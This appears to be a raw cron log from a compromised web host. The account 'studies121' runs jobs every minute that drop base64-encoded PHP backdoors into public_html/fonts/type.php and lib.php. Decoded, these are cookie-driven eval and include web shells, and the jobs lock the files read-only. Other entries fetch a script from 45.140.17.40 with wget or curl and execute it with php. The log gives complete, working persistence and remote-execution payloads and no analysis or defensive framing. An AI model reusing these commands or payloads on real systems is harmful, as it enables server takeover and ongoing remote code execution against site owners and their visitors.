Sep  8 12:15:01 ip-184-168-122-23 CROND[17147]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:15:01 ip-184-168-122-23 CROND[17152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:15:01 ip-184-168-122-23 CROND[17157]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:15:01 ip-184-168-122-23 CROND[17158]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  8 12:16:01 ip-184-168-122-23 CROND[17413]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 12:16:01 ip-184-168-122-23 CROND[17417]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:16:01 ip-184-168-122-23 CROND[17418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:16:01 ip-184-168-122-23 CROND[17419]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:16:01 ip-184-168-122-23 CROND[17415]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 12:16:01 ip-184-168-122-23 CROND[17416]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:17:01 ip-184-168-122-23 CROND[17663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:17:01 ip-184-168-122-23 CROND[17664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:17:01 ip-184-168-122-23 CROND[17669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:17:01 ip-184-168-122-23 CROND[17670]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:18:01 ip-184-168-122-23 CROND[17771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:18:01 ip-184-168-122-23 CROND[17772]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:18:01 ip-184-168-122-23 CROND[17773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:18:01 ip-184-168-122-23 CROND[17774]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 12:18:01 ip-184-168-122-23 CROND[17779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:19:02 ip-184-168-122-23 CROND[17952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:19:02 ip-184-168-122-23 CROND[17953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:19:02 ip-184-168-122-23 CROND[17955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:19:02 ip-184-168-122-23 CROND[17957]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:20:01 ip-184-168-122-23 CROND[18149]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 12:20:01 ip-184-168-122-23 CROND[18151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:20:01 ip-184-168-122-23 CROND[18154]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 12:20:01 ip-184-168-122-23 CROND[18152]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 12:20:01 ip-184-168-122-23 CROND[18155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:20:01 ip-184-168-122-23 CROND[18157]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 12:20:01 ip-184-168-122-23 CROND[18153]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 12:20:01 ip-184-168-122-23 CROND[18158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:20:01 ip-184-168-122-23 CROND[18156]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:21:01 ip-184-168-122-23 CROND[18367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:21:01 ip-184-168-122-23 CROND[18368]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:21:01 ip-184-168-122-23 CROND[18371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:21:01 ip-184-168-122-23 CROND[18370]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:22:01 ip-184-168-122-23 CROND[18462]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 12:22:01 ip-184-168-122-23 CROND[18463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:22:01 ip-184-168-122-23 CROND[18464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:22:01 ip-184-168-122-23 CROND[18465]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:22:01 ip-184-168-122-23 CROND[18466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:23:01 ip-184-168-122-23 CROND[18571]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:23:01 ip-184-168-122-23 CROND[18573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:23:01 ip-184-168-122-23 CROND[18572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:23:01 ip-184-168-122-23 CROND[18578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:24:02 ip-184-168-122-23 CROND[18720]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 12:24:02 ip-184-168-122-23 CROND[18723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:24:02 ip-184-168-122-23 CROND[18722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:24:02 ip-184-168-122-23 CROND[18724]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:24:02 ip-184-168-122-23 CROND[18725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:25:01 ip-184-168-122-23 CROND[18895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:25:01 ip-184-168-122-23 CROND[18907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:25:01 ip-184-168-122-23 CROND[18910]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 12:25:01 ip-184-168-122-23 CROND[18909]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 12:25:01 ip-184-168-122-23 CROND[18911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:25:01 ip-184-168-122-23 CROND[18912]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  8 12:25:01 ip-184-168-122-23 CROND[18913]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:26:01 ip-184-168-122-23 CROND[19176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:26:01 ip-184-168-122-23 CROND[19178]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:26:01 ip-184-168-122-23 CROND[19181]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:26:01 ip-184-168-122-23 CROND[19184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:26:01 ip-184-168-122-23 CROND[19183]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 12:27:01 ip-184-168-122-23 CROND[19360]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:27:01 ip-184-168-122-23 CROND[19361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:27:01 ip-184-168-122-23 CROND[19363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
